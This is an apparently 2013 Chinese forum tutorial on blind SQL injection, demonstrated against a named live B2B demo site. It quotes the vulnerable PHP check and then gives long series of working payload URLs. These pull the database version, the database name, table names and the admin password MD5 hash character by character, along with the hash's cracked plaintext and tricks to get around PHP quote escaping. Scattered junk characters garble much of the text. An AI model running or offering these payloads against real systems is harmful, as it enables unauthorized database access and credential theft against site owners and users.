|
|
本文实例来自习科论坛交流三群。这个注入点可以使用错误回显注入来爆数据，本文出于讲解的目的，使用更麻烦的盲注。5 C1 ~3 P8 V, ~2 `
阅读本文，需要有一点点SQL基础。盲注理解起来其实非常简单，就是做起来非常费劲2 { l7 g: U. f; v
作者：YoCo Smart% W. y, d: Y/ X
来自：习科信息技术 - http://BlackBap.Org
2 Z0 l1 l2 W! ]3 P我们先来看注入点，是一个B2B网站建站公司： - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin
- 用户名已被注册
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'
- select userid from demo_b2b_member where user = 'admin''You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 1
+ Z% K/ r5 \2 I9 }! s
/ Y } |% M( a% B+ j复制代码
: ~: R7 z; }5 j& J; `+ Z错误提示已经很明了了。我们看一下注入页面的代码（有删改）： - $js_user = trim($_GET["js_user"]);
- if($js_user){
- $num = $db->num_rows("select userid from demo_b2b_member where user = '$js_user'");
- if(!$num)
- echo "<div class=tips3></div>";
- else
- echo "<div class=tips2>用户名已被注册</div>";
- }
8 c# W+ v$ L$ |# m; A8 k6 f
1 ^. a4 h; v( T* G. |% e
复制代码
$ S1 q2 G( M. t4 d* j! L3 M: L# [以GET方式取值的变量js_user虽然没有过滤被直接带入了数据库执行，并且MySQL也执行了，但是并没有显示数据库的任何信息，而是判断是否符合8 ^% l& b$ i% }: C! v0 Y: M
那么我们先从union的盲注来看吧。' e" z5 e6 R& b. v$ t
先看版本： - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(version(),1)=5%23/ c% z+ T& u+ h/ C' G0 ?. o
% D5 u( g* k+ E; h
复制代码* Q' q! }' X& n, F; \8 T
这个时候我们来看看原来的代码中的SQL语句是怎么执行的： - select userid from demo_b2b_member where user = 'admin'and left(version(),1)=5#': h6 [3 C9 V3 }, f
2 Y, _) H1 z$ j6 P5 {复制代码
7 f8 P4 `6 j/ V! F0 P; P' y- Y因为执行成功，所以不符合if(!$num)这个条件，回显“用户名已被注册”，那么版本为5成立" m4 u3 [7 H/ Z* J
再来看database()的数据： - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(database())=6%23
- database()长度6
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),1)='l'%23
- l
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),2)='li'%23
- li
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),3)='lic'%23
- lic
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),4)='licl'%23
- licl
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),5)='licln'%23
- licln
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),6)='liclny'%23
- licclny9 [4 o4 T! d) u" Z! x1 L5 }! q. j
0 F5 m2 f& K8 {1 d4 `
复制代码
& ` n+ v: c( _$ @! ?- J, Zlength()函数是计算括号中数据的长度，回显为纯数字，可以用大于小于和等于号来判断是否正确。( {/ s2 D. C0 I2 h7 ^1 T4 [" O
这里要注意看一下left()函数中的数字变化，关于left()函数，可以自行参考MySQL手册。5 S$ [# Z1 X- \8 i( d1 k' s- \ y* c
再来看一点简单的判断句： - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(pass)=32%23
- select userid from demo_b2b_member where user = 'admin'and length(pass)=32#'
4 e3 J8 w" j; O/ R5 f$ b# u+ g' t
4 G7 {6 I0 @, `) j# \复制代码& o" D' ?- @3 P5 U) b0 H2 K. J. ^
这个时候length()函数中的pass是猜测的，当然是建立在猜测正确的基础上。; L P! I! m4 y4 }. ^+ k# b
这里要说的是，pass和前面select后的userid同属一个表段demo_b2b_admin，所以不需要再带select语句
0 k+ W5 b1 Q9 X那么这里就能得到： - 这里最后没有'#这个终止符，大家带进去看一下，你们懂得。前开后闭。
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,1)='0
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,2)='04
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,3)='048
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,4)='0484
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,5)='04843
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,6)='04843e
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,7)='04843e9
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,8)='04843e9f
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,9)='04843e9f9
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,10)='04843e9f91
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,11)='04843e9f91a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,12)='04843e9f91ad
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,13)='04843e9f91adf
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,14)='04843e9f91adf2
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,15)='04843e9f91adf22
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,16)='04843e9f91adf228
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,17)='04843e9f91adf2287
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,18)='04843e9f91adf2287c
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,19)='04843e9f91adf2287c0
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,20)='04843e9f91adf2287c0a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,21)='04843e9f91adf2287c0af
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,22)='04843e9f91adf2287c0af5
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,23)='04843e9f91adf2287c0af5f
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,24)='04843e9f91adf2287c0af5fe
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,25)='04843e9f91adf2287c0af5fe1
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,26)='04843e9f91adf2287c0af5fe16
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,27)='04843e9f91adf2287c0af5fe167
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,28)='04843e9f91adf2287c0af5fe1675
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,29)='04843e9f91adf2287c0af5fe16750
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,30)='04843e9f91adf2287c0af5fe16750a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,31)='04843e9f91adf2287c0af5fe16750a3
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,32)='04843e9f91adf2287c0af5fe16750a35
- 长度是32，是md5加密，解密得到lcl2wly
9 {$ j9 c4 g6 Y. [ P n
0 y2 c8 W9 p9 k& ~复制代码( h1 K5 ^7 n a3 o/ e* X' `
这样，猜数据的方法你肯定是懂了8 K- r4 |( V) |5 v% L. b+ y: ]& K
8 s: ?9 n6 \! b8 s' }
- A: |0 q% m8 k最后，我们来看demo_b2b_admin以外的数据，现在再来猜表段： - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))<100%23
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))=14%23
D6 S1 V: j" B x
) T, t1 V# ^. R8 @6 U
复制代码
# i4 R0 O; \8 L5 q ]7 g实际运行的SQL语句就是： - select userid from demo_b2b_member where user = 'admin'and length((select table_name from information_schema.tables limit 0,1))=14#'
6 i* G9 d M+ V, B+ M
, T' h; t7 W7 E9 F, O1 _复制代码" H. \* T7 M. i B4 b! ~9 m
上面这个语句，对于information_schema不明白的，可以参考其他MySQL注入文章来看一下这个库的意义。
' O: {9 q/ Y& l" n2 {# r. Q! t关于limit x,y 的用法，可以参考MySQL手册
0 F2 O) D: J2 N+ W# `1 Q6 c6 d& A- z& ]3 y3 ^% M E( O
最后剩下的要说的就是ascii函数和hex函数了, q8 M0 N* D3 Y- j
这两个函数的意义是避开php的GPC转义，例如： - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+substr(left(pass,1),1,1)=char(48)%23
- select userid from demo_b2b_member where user = 'admin'and substr(pass,1,1)=char(48)#
3 U& \3 U+ @% _2 t
- Q' S3 ]3 Y, a Z0 O复制代码8 ?$ ?2 i" c: ~ G
substr()的用法可以参考MySQL手册，如果不懂，就这样套好了。Char()里面的数字替换为ascii码数字 |
|
发表于 2013-9-25 13:52:56
收藏
支持
反对